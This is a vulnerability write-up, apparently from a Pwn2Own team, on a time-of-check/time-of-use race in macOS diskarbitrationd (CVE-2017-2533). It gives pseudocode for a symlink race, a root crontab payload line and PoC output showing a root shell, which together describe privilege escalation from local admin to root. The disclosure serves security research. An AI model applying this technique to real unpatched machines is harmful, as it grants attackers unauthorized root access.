Pwn2Own: Safari sandbox part 1 – Mount yourself a root shell
Today we have CVE-2017-2533 / ZDI-17-357 for you, a race condition in a macOS system service which could be used to escalate privileges from local admin to root. We used it in combination with other logic bugs to escape the Safari sandbox at this year’s Pwn2Own competition.
The bug was in the Disk Arbitration daemon, which is responsible for managing block devices on macOS. Its IPC interface can be accessed from inside the Safari sandbox, which made it an interesting target for us. By exploiting the bug, we could mount a disk partition over any non-SIP protected directory. Since there is a small FAT32 recovery partition in every recent MacBook which the default user is allowed to write to, this allowed us to put files with arbitrary contents into the file system and gain root privileges.
Bug Discovery
After achieving code execution
in the Safari renderer,
our goal was to laterally move to a more privileged system process, so we
started off our audit by looking at the list of allowed mach lookups, i.e.
services that we can talk to via mach IPC. The list can be found in the sandbox
rule file /System/Library/Frameworks/WebKit.framework/Versions/A/Resources/com.apple.WebProcess.sb
and starts as follows:
(allow mach-lookup
(global-name "com.apple.DiskArbitration.diskarbitrationd")
(global-name "com.apple.FileCoordination")
(global-name "com.apple.FontObjectsServer")
...
The first one in the list immediately caught our attention. Disk
Arbitration
is the Apple framework responsible for managing (primarily mounting
and unmounting) block devices, and diskarbitrationd
is the service handling
the corresponding IPC requests. Why would a browser renderer ever need to
mount disks? That definitely warranted some further investigation.
$ ps aux | grep diskarbitrationd | grep -v grep
root 86 0.0 0.0 2494876 2132 ?? Ss Wed10AM 0:00.37 /usr/libexec/diskarbitrationd
$ sudo launchctl procinfo $(pgrep diskarbitrationd) | grep sandboxed
sandboxed = no
So as expected, diskarbitrationd
runs as root (it has to in order to use the mount
syscall)
and is not sandboxed. We also verified that we could reach it from
the sandbox by writing a small client script in Swift and running it with the
com.apple.WebProcess.sb
sandbox file using the sandbox-exec
tool. All this considered, it
looked like diskarbitrationd
could be a interesting target for exploitation, so we
started auditing it. An old version of the server source code can be
downloaded from the Apple web
site.
I was looking for memory corruption bugs at first, but soon I came across the
following code in DARequest.c
, line 510:
/*
* Determine whether the mount point is accessible by the user.
*/
if ( DADiskGetDescription( disk, kDADiskDescriptionVolumePathKey ) == NULL )
{
if ( DARequestGetUserUID( request ) )
{
CFTypeRef mountpoint;
mountpoint = DARequestGetArgument2( request );
// [...]
if ( mountpoint )
{
char * path;
path = ___CFURLCopyFileSystemRepresentation( mountpoint );
if ( path )
{
struct stat st;
if ( stat( path, &st ) == 0 )
{
if ( st.st_uid != DARequestGetUserUID( request ) )
{
// [[ 1 ]]
status = kDAReturnNotPermitted;
}
}
The mechanism implemented here is supposed to prevent a user with mount
privileges to mount over a directory they do not own, such as /etc
or /System
.
It works as follows: If the mount point exists, but is not owned by the user,
the error code kDAReturnNotPermitted
is produced at [[ 1 ]].
Otherwise, the mount proceeds. There are no more checks after this and the mount will
succeed if the intended mount point exists and diskarbitrationd
has sufficient
permissions to perform the mount. This is the case for all directories that are
not protected by the System Integrity Protection
(SIP) security mechanism.
There is an old school time of check vs. time of use issue here: If the mount point is created after the check, but before the mount, the mount can succeed even if the caller does not own the mount point. An attacker can bypass the check by creating a symlink pointing to an arbitrary directory between the check and the mount.
Apple has patched the bug in macOS Sierra 10.12.5, but has not released the source code yet. We will update this post if the new source code becomes available, and outline the patch.
Building a local admin to root exploit
For example, we can use the bug to mount any disk over /etc
, using
the following pseudocode:
disk = "/dev/some-disk-device"
in the background:
while true:
create symlink "/tmp/foo" pointing to "/"
remove symlink
while disk not mounted at "/etc":
send IPC request to diskarbitrationd to mount disk to "/tmp/foo/etc"
Eventually, the check will be executed while the symlink is gone, but the mount
will happen with the symlink present, so both will pass. At that point we have
mounted over /etc
, which should not be possible for the local admin user
without at least typing the password.
Now from a privilege escalation standpoint, two problems remain:
- Is there a disk device that is usually unmounted but writable by the local admin user?
- What directory do we want to mount over that gives us code execution as root?
Problem 1 is easily solved by looking at all the physical devices:
$ ls -alih /dev/disk*
589 brw-r----- 1 root operator 1, 0 Mar 15 10:27 /dev/disk0
594 brw-r----- 1 root operator 1, 1 Mar 15 10:27 /dev/disk0s1
598 brw-r----- 1 root operator 1, 3 Mar 15 10:27 /dev/disk0s2
596 brw-r----- 1 root operator 1, 2 Mar 15 10:27 /dev/disk0s3
600 brw-r----- 1 root operator 1, 4 Mar 15 10:27 /dev/disk1
One of them works for our purposes: /dev/disk0s1
is the EFI partition,
a FAT32 volume used for BIOS updates on all MacBooks that we know of. It is
usually not mounted, and since it contains a FAT file system, it does not
support Unix permissions. So if we mount it as our local admin user, we can
write to it.
It might also be possible to create a block device from a disk image using
hdiutil
and use it for the exploit, but I have not yet been able to get the race
condition to work in that setting.
Problem 2 took me a while to figure out. Eventually I realized that the legacy
cron daemon still exists on modern macOS operating systems. It is not running
by default, but when a crontab file gets created in /var/at/tabs
, launchd
starts the cron daemon and it works as expected. So it suffices to
just mount our disk device over /var/at/tabs
and write our payload to
/var/at/tabs/root
:
* * * * * touch /tmp/pwned
The command will get executed every minute as root. At this point we have a fully
working way of going from local admin to root without typing a password. The
PoC code can be found in the file poc-mount.sh
and gives
you a root shell if you have clang installed:
$ ./poc-mount.sh
Just imagine having that root shell. It's gonna be legen...
wait for it...
dary!
./poc-mount.sh: line 77: 3179 Killed: 9 race_link
sh-3.2# id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),401(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)
sh-3.2#
This exploit by itself is comparable to a UAC bypass on Windows and turned out to be very useful when combined with some other bugs.
Towards a sandbox escape
Before we can use any of the Disk Arbitration APIs, we need to first
provide an authorization token.
When issuing a mount request, diskarbitrationd
will try to obtain the right
system.volume.*.mount
using that token, where *
depends on the type of
volume we want to mount. For example, when we request to mount the internal
disk partition /dev/disk0s1
, diskarbitrationd
will use the following logic
to check for authorization inside the DAAuthorize
function from DASupport.c
:
DAReturn status;
status = kDAReturnNotPrivileged;
// ...
AuthorizationRef authorization;
// [[ 1 ]]
authorization = DASessionGetAuthorization( session );
if ( authorization )
{
AuthorizationFlags flags;
AuthorizationItem item;
char * name;
AuthorizationRights rights;
flags = kAuthorizationFlagExtendRights;
// ...
if ( DADiskGetDescription( disk, kDADiskDescriptionDeviceInternalKey ) == kCFBooleanTrue )
{
// [[ 2 ]]
asprintf( &name, "system.volume.internal.%s", right );
}
// ...
if ( name )
{
item.flags = 0;
item.name = name;
item.value = NULL;
item.valueLength = 0;
rights.count = 1;
rights.items = &item;
// [[ 3 ]]
status = AuthorizationCopyRights( authorization, &rights, NULL, flags, NULL );
if ( status )
{
status = kDAReturnNotPrivileged;
}
free( name );
}
}
At [[ 1 ]], the authorization token associated with the session is fetched,
which was provided via an IPC call in advance. At [[ 2 ]], the string
system.volume.internal.mount
is produced. At [[ 3 ]], it is checked whether
the token can be used to obtain this right via the
AuthorizationCopyRights
API. This API is implemented by the com.apple.authd
service.
Triggering the bug from Safari
Let’s see what we need to trigger this bug and what we already have inside the sandbox:
Access to the IPC endpoint of diskarbitrationd - CHECK
Write access to any arbitrary directory - CHECK
It suffices to be able to write to just one specific directory, because while
we need to write the root
file to the mounted disk, we can mount the disk to
that directory first, only to then umount it again and use the bug to
mount it to /var/at/tabs
.
(if (positive? (string-length (param "DARWIN_USER_CACHE_DIR")))
(allow file* (subpath (param "DARWIN_USER_CACHE_DIR"))))
This sandbox rule from WebProcess.sb
gives us full write access to
/private/var/folders/<some-random-string>/C/com.apple.WebKit.WebContent+com.apple.Safari
And all of its sub-directories.
Ability to obtain an authorization token for mounting - NOPE
While the local admin user can obtain this right in order to mount volumes,
there is a mechanism in place that prevents sandboxed processes from creating
authorization tokens with rights that the sandbox rules do not explicitly
allow. WebProcess.sb
contains no rule of the form
(allow authorization-right-obtain ...)
, so we cannot obtain any rights.
Ability to create symlinks - NOPE
The Safari sandbox explicitly disallows creating symlinks:
(if (defined? 'vnode-type)
(deny file-write-create (vnode-type SYMLINK)))
In the next part of this series we will present three more bugs, one of which we used to create symlinks and two more to bypass the sandbox check in the authorization logic.